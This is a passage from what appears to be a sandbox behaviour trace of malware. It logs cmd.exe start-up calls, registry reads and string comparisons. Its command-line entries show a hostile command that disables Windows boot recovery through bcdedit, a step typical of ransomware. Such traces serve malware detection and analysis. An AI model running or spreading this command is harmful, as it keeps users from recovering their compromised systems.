0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1246 start_va = 0x9a3a330000 end_va = 0x9a3a604fff entry_point = 0x9a3a330000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 88 os_tid = 0x9ac [0030.635] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff623140000 [0030.635] __set_app_type (_Type=0x1) [0030.636] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff62315ace0) returned 0x0 [0030.636] __getmainargs (in: _Argc=0x7ff62317e724, _Argv=0x7ff62317e728, _Env=0x7ff62317e730, _DoWildCard=0, _StartInfo=0x7ff62316d0c4 | out: _Argc=0x7ff62317e724, _Argv=0x7ff62317e728, _Env=0x7ff62317e730) returned 0 [0030.636] GetCurrentThreadId () returned 0x9ac [0030.636] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x9ac) returned 0x28 [0030.636] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffe2a640000 [0030.636] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadUILanguage") returned 0x7ffe2a6431d8 [0030.636] SetThreadUILanguage (LangId=0x0) returned 0x409 [0030.651] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0030.651] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x9a3a05fa48 | out: phkResult=0x9a3a05fa48*=0x0) returned 0x2 [0030.651] VirtualQuery (in: lpAddress=0x9a3a05fa34, lpBuffer=0x9a3a05f9b0, dwLength=0x30 | out: lpBuffer=0x9a3a05f9b0*(BaseAddress=0x9a3a05f000, AllocationBase=0x9a39f60000, AllocationProtect=0x4, __alignment1=0x9a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.651] VirtualQuery (in: lpAddress=0x9a39f60000, lpBuffer=0x9a3a05f9b0, dwLength=0x30 | out: lpBuffer=0x9a3a05f9b0*(BaseAddress=0x9a39f60000, AllocationBase=0x9a39f60000, AllocationProtect=0x4, __alignment1=0x9a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.652] VirtualQuery (in: lpAddress=0x9a39f61000, lpBuffer=0x9a3a05f9b0, dwLength=0x30 | out: lpBuffer=0x9a3a05f9b0*(BaseAddress=0x9a39f61000, AllocationBase=0x9a39f60000, AllocationProtect=0x4, __alignment1=0x9a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.652] VirtualQuery (in: lpAddress=0x9a39f64000, lpBuffer=0x9a3a05f9b0, dwLength=0x30 | out: lpBuffer=0x9a3a05f9b0*(BaseAddress=0x9a39f64000, AllocationBase=0x9a39f60000, AllocationProtect=0x4, __alignment1=0x9a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.652] VirtualQuery (in: lpAddress=0x9a3a060000, lpBuffer=0x9a3a05f9b0, dwLength=0x30 | out: lpBuffer=0x9a3a05f9b0*(BaseAddress=0x9a3a060000, AllocationBase=0x9a3a060000, AllocationProtect=0x2, __alignment1=0x9a, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0030.652] GetConsoleOutputCP () returned 0x1b5 [0030.685] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff62317a120 | out: lpCPInfo=0x7ff62317a120) returned 1 [0030.685] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6231662a4, Add=1) returned 1 [0030.685] _get_osfhandle (_FileHandle=1) returned 0x1c [0030.685] SetConsoleMode (hConsoleHandle=0x1c, dwMode=0x0) returned 1 [0030.689] _get_osfhandle (_FileHandle=1) returned 0x1c [0030.689] GetConsoleMode (in: hConsoleHandle=0x1c, lpMode=0x7ff62316d150 | out: lpMode=0x7ff62316d150) returned 1 [0030.691] _get_osfhandle (_FileHandle=1) returned 0x1c [0030.691] SetConsoleMode (hConsoleHandle=0x1c, dwMode=0x3) returned 1 [0030.692] _get_osfhandle (_FileHandle=0) returned 0x18 [0030.692] GetConsoleMode (in: hConsoleHandle=0x18, lpMode=0x7ff62316d14c | out: lpMode=0x7ff62316d14c) returned 1 [0030.693] _get_osfhandle (_FileHandle=0) returned 0x18 [0030.693] SetConsoleMode (hConsoleHandle=0x18, dwMode=0x1a7) returned 1 [0030.694] GetEnvironmentStringsW () returned 0x9a3a2348b0* [0030.694] FreeEnvironmentStringsA (penv="A") returned 1 [0030.694] GetEnvironmentStringsW () returned 0x9a3a2348b0* [0030.694] FreeEnvironmentStringsA (penv="A") returned 1 [0030.694] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x9a3a05e8f8 | out: phkResult=0x9a3a05e8f8*=0x34) returned 0x0 [0030.694] RegQueryValueExW (in: hKey=0x34, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x9a3a05e8f0, lpData=0x9a3a05e910, lpcbData=0x9a3a05e8f4*=0x1000 | out: lpType=0x9a3a05e8f0*=0x0, lpData=0x9a3a05e910*=0x0, lpcbData=0x9a3a05e8f4*=0x1000) returned 0x2 [0030.694] RegQueryValueExW (in: hKey=0x34, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x9a3a05e8f0, lpData=0x9a3a05e910, lpcbData=0x9a3a05e8f4*=0x1000 | out: lpType=0x9a3a05e8f0*=0x4, lpData=0x9a3a05e910*=0x1, lpcbData=0x9a3a05e8f4*=0x4) returned 0x0 [0030.694] RegQueryValueExW (in: hKey=0x34, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x9a3a05e8f0, lpData=0x9a3a05e910, lpcbData=0x9a3a05e8f4*=0x1000 | out: lpType=0x9a3a05e8f0*=0x0, lpData=0x9a3a05e910*=0x1, lpcbData=0x9a3a05e8f4*=0x1000) returned 0x2 [0030.694] RegQueryValueExW (in: hKey=0x34, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x9a3a05e8f0, lpData=0x9a3a05e910, lpcbData=0x9a3a05e8f4*=0x1000 | out: lpType=0x9a3a05e8f0*=0x4, lpData=0x9a3a05e910*=0x0, lpcbData=0x9a3a05e8f4*=0x4) returned 0x0 [0030.694] RegQueryValueExW (in: hKey=0x34, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x9a3a05e8f0, lpData=0x9a3a05e910, lpcbData=0x9a3a05e8f4*=0x1000 | out: lpType=0x9a3a05e8f0*=0x4, lpData=0x9a3a05e910*=0x40, lpcbData=0x9a3a05e8f4*=0x4) returned 0x0 [0030.694] RegQueryValueExW (in: hKey=0x34, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x9a3a05e8f0, lpData=0x9a3a05e910, lpcbData=0x9a3a05e8f4*=0x1000 | out: lpType=0x9a3a05e8f0*=0x4, lpData=0x9a3a05e910*=0x40, lpcbData=0x9a3a05e8f4*=0x4) returned 0x0 [0030.694] RegQueryValueExW (in: hKey=0x34, lpValueName="AutoRun", lpReserved=0x0, lpType=0x9a3a05e8f0, lpData=0x9a3a05e910, lpcbData=0x9a3a05e8f4*=0x1000 | out: lpType=0x9a3a05e8f0*=0x0, lpData=0x9a3a05e910*=0x40, lpcbData=0x9a3a05e8f4*=0x1000) returned 0x2 [0030.694] RegCloseKey (hKey=0x34) returned 0x0 [0030.694] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x9a3a05e8f8 | out: phkResult=0x9a3a05e8f8*=0x34) returned 0x0 [0030.694] RegQueryValueExW (in: hKey=0x34, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x9a3a05e8f0, lpData=0x9a3a05e910, lpcbData=0x9a3a05e8f4*=0x1000 | out: lpType=0x9a3a05e8f0*=0x0, lpData=0x9a3a05e910*=0x40, lpcbData=0x9a3a05e8f4*=0x1000) returned 0x2 [0030.694] RegQueryValueExW (in: hKey=0x34, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x9a3a05e8f0, lpData=0x9a3a05e910, lpcbData=0x9a3a05e8f4*=0x1000 | out: lpType=0x9a3a05e8f0*=0x4, lpData=0x9a3a05e910*=0x1, lpcbData=0x9a3a05e8f4*=0x4) returned 0x0 [0030.694] RegQueryValueExW (in: hKey=0x34, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x9a3a05e8f0, lpData=0x9a3a05e910, lpcbData=0x9a3a05e8f4*=0x1000 | out: lpType=0x9a3a05e8f0*=0x0, lpData=0x9a3a05e910*=0x1, lpcbData=0x9a3a05e8f4*=0x1000) returned 0x2 [0030.694] RegQueryValueExW (in: hKey=0x34, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x9a3a05e8f0, lpData=0x9a3a05e910, lpcbData=0x9a3a05e8f4*=0x1000 | out: lpType=0x9a3a05e8f0*=0x4, lpData=0x9a3a05e910*=0x0, lpcbData=0x9a3a05e8f4*=0x4) returned 0x0 [0030.694] RegQueryValueExW (in: hKey=0x34, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x9a3a05e8f0, lpData=0x9a3a05e910, lpcbData=0x9a3a05e8f4*=0x1000 | out: lpType=0x9a3a05e8f0*=0x4, lpData=0x9a3a05e910*=0x9, lpcbData=0x9a3a05e8f4*=0x4) returned 0x0 [0030.694] RegQueryValueExW (in: hKey=0x34, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x9a3a05e8f0, lpData=0x9a3a05e910, lpcbData=0x9a3a05e8f4*=0x1000 | out: lpType=0x9a3a05e8f0*=0x4, lpData=0x9a3a05e910*=0x9, lpcbData=0x9a3a05e8f4*=0x4) returned 0x0 [0030.694] RegQueryValueExW (in: hKey=0x34, lpValueName="AutoRun", lpReserved=0x0, lpType=0x9a3a05e8f0, lpData=0x9a3a05e910, lpcbData=0x9a3a05e8f4*=0x1000 | out: lpType=0x9a3a05e8f0*=0x0, lpData=0x9a3a05e910*=0x9, lpcbData=0x9a3a05e8f4*=0x1000) returned 0x2 [0030.694] RegCloseKey (hKey=0x34) returned 0x0 [0030.694] time (in: timer=0x0 | out: timer=0x0) returned 0x5989d262 [0030.694] srand (_Seed=0x5989d262) [0030.694] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /C title 9538298|bcdedit /set {default} recoveryenabled No" [0030.694] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /C title 9538298|bcdedit /set {default} recoveryenabled No" [0030.694] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x7ff62317a160 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0030.694] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x9a3a2348f0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0030.695] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0030.695] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0030.695] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0030.695] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0030.695] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0030.695] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0030.695] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0030.695] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0030.695] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0030.695] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0030.695] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0030.695] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0030.695] GetEnvironmentStringsW () returned 0x9a3a234b00* [0030.695] FreeEnvironmentStringsA (penv="A") returned 1 [0030.695] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0030.695] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0030.695] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0030.695] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0030.695] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0030.695] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0030.695] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0030.695] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0030.695] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0030.695] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0030.695] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x9a3a05f700 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0030.695] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop", nBufferLength=0x104, lpBuffer=0x9a3a05f700, lpFilePart=0x9a3a05f6e0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop", lpFilePart=0x9a3a05f6e0*="Desktop") returned 0x1c [0030.695] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0030.695] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x9a3a05f410 | out: lpFindFileData=0x9a3a05f410) returned 0x9a3a237970 [0030.696] FindClose (in: hFindFile=0x9a3a237970 | out: hFindFile=0x9a3a237970) returned 1 [0030.696] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp", lpFindFileData=0x9a3a05f410 | out: lpFindFileData=0x9a3a05f410) returned 0x9a3a237970 [0030.696] FindClose (in: hFindFile=0x9a3a237970 | out: hFindFile=0x9a3a237970) returned 1 [0030.696] _wcsnicmp (_String1="5JGHKO~1", _String2="5JgHKoaOfdp", _MaxCount=0xb) returned 29 [0030.696] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop", lpFindFileData=0x9a3a05f410 | out: lpFindFileData=0x9a3a05f410) returned 0x9a3a237970 [0030.696] FindClose (in: hFindFile=0x9a3a237970 | out: hFindFile=0x9a3a237970) returned 1 [0030.696] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0030.696] SetCurrentDirectoryW (lpPathName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 1 [0030.696] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 1 [0030.696] GetEnvironmentStringsW () returned 0x9a3a236590* [0030.696] FreeEnvironmentStringsA (penv="=") returned 1 [0030.696] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x7ff62317a160 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0030.696] GetConsoleOutputCP () returned 0x1b5 [0030.703] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff62317a120 | out: lpCPInfo=0x7ff62317a120) returned 1 [0030.703] GetUserDefaultLCID () returned 0x409 [0030.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff62317e680, cchData=8 | out: lpLCData=":") returned 2 [0030.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x9a3a05f830, cchData=128 | out: lpLCData="0") returned 2 [0030.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x9a3a05f830, cchData=128 | out: lpLCData="0") returned 2 [0030.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x9a3a05f830, cchData=128 | out: lpLCData="1") returned 2 [0030.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff62317e8b0, cchData=8 | out: lpLCData="/") returned 2 [0030.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff62317e8e0, cchData=32 | out: lpLCData="Mon") returned 4 [0030.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff62317e920, cchData=32 | out: lpLCData="Tue") returned 4 [0030.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff62317e960, cchData=32 | out: lpLCData="Wed") returned 4 [0030.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff62317e6a0, cchData=32 | out: lpLCData="Thu") returned 4 [0030.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff62317e6e0, cchData=32 | out: lpLCData="Fri") returned 4 [0030.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff62317e9a0, cchData=32 | out: lpLCData="Sat") returned 4 [0030.704] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff62317e9e0, cchData=32 | out: lpLCData="Sun") returned 4 [0030.704] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff62317e690, cchData=8 | out: lpLCData=".") returned 2 [0030.704] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff62317e8c0, cchData=8 | out: lpLCData=",") returned 2 [0030.704] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0030.704] GetConsoleTitleW (in: lpConsoleTitle=0x9a3a235600, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0030.704] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffe2a640000 [0030.705] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CopyFileExW") returned 0x7ffe2a65e954 [0030.705] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="IsDebuggerPresent") returned 0x7ffe2a6434dc [0030.705] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffe2a0836f8 [0030.705] _wcsicmp (_String1="title", _String2=")") returned 75 [0030.705] _wcsicmp (_String1="FOR", _String2="title") returned -14 [0030.705] _wcsicmp (_String1="FOR/?", _String2="title") returned -14 [0030.705] _wcsicmp (_String1="IF", _String2="title") returned -11 [0030.705] _wcsicmp (_String1="IF/?", _String2="title") returned -11 [0030.705] _wcsicmp (_String1="REM", _String2="title") returned -2 [0030.705] _wcsicmp (_String1="REM/?", _String2="title") returned -2 [0030.706] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0030.706] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0030.706] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0030.706] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0030.706] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0030.706] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0030.707] _pipe (in: _PtHandles=0x9a3a235b60, _PipeSize=0x0, _TextMode=32768 | out: _PtHandles=0x9a3a235b60) returned 0 [0030.707] _dup (_FileHandle=1) returned 5 [0030.707] _dup2 (_FileHandleSrc=4, _FileHandleDst=1) returned 0 [0030.707] _close (_FileHandle=4) returned 0 [0030.707] _wcsicmp (_String1="title", _String2="DIR") returned 16 [0030.707] _wcsicmp (_String1="title", _String2="ERASE") returned 15 [0030.707] _wcsicmp (_String1="title", _String2="DEL") returned 16 [0030.708] _wcsicmp (_String1="title", _String2="TYPE") returned -16 [0030.708] _wcsicmp (_String1="title", _String2="COPY") returned 17 [0030.708] _wcsicmp (_String1="title", _String2="CD") returned 17 [0030.708] _wcsicmp (_String1="title", _String2="CHDIR") returned 17 [0030.708] _wcsicmp (_String1="title", _String2="RENAME") returned 2 [0030.708] _wcsicmp (_String1="title", _String2="REN") returned 2 [0030.708] _wcsicmp (_String1="title", _String2="ECHO") returned 15 [0030.708] _wcsicmp (_String1="title", _String2="SET") returned 1 [0030.708] _wcsicmp (_String1="title", _String2="PAUSE") returned 4 [0030.708] _wcsicmp (_String1="title", _String2="DATE") returned 16 [0030.708] _wcsicmp (_String1="title", _String2="TIME") returned 7 [0030.708] _wcsicmp (_String1="title", _String2="PROMPT") returned 4 [0030.708] _wcsicmp (_String1="title", _String2="MD") returned 7 [0030.708] _wcsicmp (_String1="title", _String2="MKDIR") returned 7 [0030.708] _wcsicmp (_String1="title", _String2="RD") returned 2 [0030.708] _wcsicmp (_String1="title", _String2="RMDIR") returned 2 [0030.708] _wcsicmp (_String1="title", _String2="PATH") returned 4 [0030.708] _wcsicmp (_String1="title", _String2="GOTO") returned 13 [0030.708] _wcsicmp (_String1="title", _String2="SHIFT") returned 1 [0030.708] _wcsicmp (_String1="title", _String2="CLS") returned 17 [0030.708] _wcsicmp (_String1="title", _String2="CALL") returned 17 [0030.708] _wcsicmp (_String1="title", _String2="VERIFY") returned -2 [0030.708] _wcsicmp (_String1="title", _String2="VER") returned -2 [0030.708] _wcsicmp (_String1="title", _String2="VOL") returned -2 [0030.708] _wcsicmp (_String1="title", _String2="EXIT") returned 15 [0030.708] _wcsicmp (_String1="title", _String2="SETLOCAL") returned 1 [0030.708] _wcsicmp (_String1="title", _String2="ENDLOCAL") returned 15 [0030.708] _wcsicmp (_String1="title", _String2="TITLE") returned 0 [0030.708] _wcsicmp (_String1="title", _String2="DIR") returned 16 [0030.708] _wcsicmp (_String1="title", _String2="ERASE") returned 15 [0030.708] _wcsicmp (_String1="title", _String2="DEL") returned 16 [0030.708] _wcsicmp (_String1="title", _String2="TYPE") returned -16 [0030.708] _wcsicmp (_String1="title", _String2="COPY") returned 17 [0030.708] _wcsicmp (_String1="title", _String2="CD") returned 17 [0030.708] _wcsicmp (_String1="title", _String2="CHDIR") returned 17 [0030.708] _wcsicmp (_String1="title", _String2="RENAME") returned 2 [0030.708] _wcsicmp (_String1="title", _String2="REN") returned 2 [0030.708] _wcsicmp (_String1="title", _String2="ECHO") returned 15 [0030.708] _wcsicmp (_String1="title", _String2="SET") returned 1 [0030.708] _wcsicmp (_String1="title", _String2="PAUSE") returned 4 [0030.708] _wcsicmp (_String1="title", _String2="DATE") returned 16 [0030.708] _wcsicmp (_String1="title", _String2="TIME") returned 7 [0030.708] _wcsicmp (_String1="title", _String2="PROMPT") returned 4 [0030.708] _wcsicmp (_String1="title", _String2="MD") returned 7 [0030.708] _wcsicmp (_String1="title", _String2="MKDIR") returned 7 [0030.708] _wcsicmp (_String1="title", _String2="RD") returned 2 [0030.708] _wcsicmp (_String1="title", _String2="RMDIR") returned 2 [0030.708] _wcsicmp (_String1="title", _String2="PATH") returned 4 [0030.708] _wcsicmp (_String1="title", _String2="GOTO") returned 13 [0030.708] _wcsicmp (_String1="title", _String2="SHIFT") returned 1 [0030.708] _wcsicmp (_String1="title", _String2="CLS") returned 17 [0030.708] _wcsicmp (_String1="title", _String2="CALL") returned 17 [0030.708] _wcsicmp (_String1="title", _String2="VERIFY") returned -2 [0030.708] _wcsicmp (_String1="title", _String2="VER") returned -2 [0030.708] _wcsicmp (_String1="title", _String2="VOL") returned -2 [0030.708] _wcsicmp (_String1="title", _String2="EXIT") returned 15 [0030.708] _wcsicmp (_String1="title", _String2="SETLOCAL") returned 1 [0030.708] _wcsicmp (_String1="title", _String2="ENDLOCAL") returned 15 [0030.708] _wcsicmp (_String1="title", _String2="TITLE") returned 0 [0030.709] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0030.709] _wcsnicmp (_String1="C:\\W", _String2="cmd ", _MaxCount=0x4) returned -51 [0030.709] SetErrorMode (uMode=0x0) returned 0x0 [0030.709] SetErrorMode (uMode=0x1) returned 0x0 [0030.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\.", nBufferLength=0x208, lpBuffer=0x9a3a230be0, lpFilePart=0x9a3a05f360 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x9a3a05f360*="system32") returned 0x13 [0030.709] SetErrorMode (uMode=0x0) returned 0x1 [0030.709] NeedCurrentDirectoryForExePathW (ExeName="C:\\Windows\\system32\\.") returned 1 [0030.709] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0030.711] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0030.711] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe", fInfoLevelId=0x1, lpFindFileData=0x9a3a05f0e0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9a3a05f0e0) returned 0x9a3a230d60 [0030.711] FindClose (in: hFindFile=0x9a3a230d60 | out: hFindFile=0x9a3a230d60) returned 1 [0030.711] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0030.711] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0030.711] GetConsoleTitleW (in: lpConsoleTitle=0x9a3a05f640, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0030.711] InitializeProcThreadAttributeList (in: lpAttributeList=0x9a3a05f560, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x9a3a05f460 | out: lpAttributeList=0x9a3a05f560, lpSize=0x9a3a05f460) returned 1 [0030.712] UpdateProcThreadAttribute (in: lpAttributeList=0x9a3a05f560, dwFlags=0x0, Attribute=0x60001, lpValue=0x9a3a05f448, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x9a3a05f560, lpPreviousValue=0x0) returned 1 [0030.712] GetStartupInfoW (in: lpStartupInfo=0x9a3a05f4f0 | out: lpStartupInfo=0x9a3a05f4f0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0030.712] _wcsnicmp (_String1="COPYCMD", 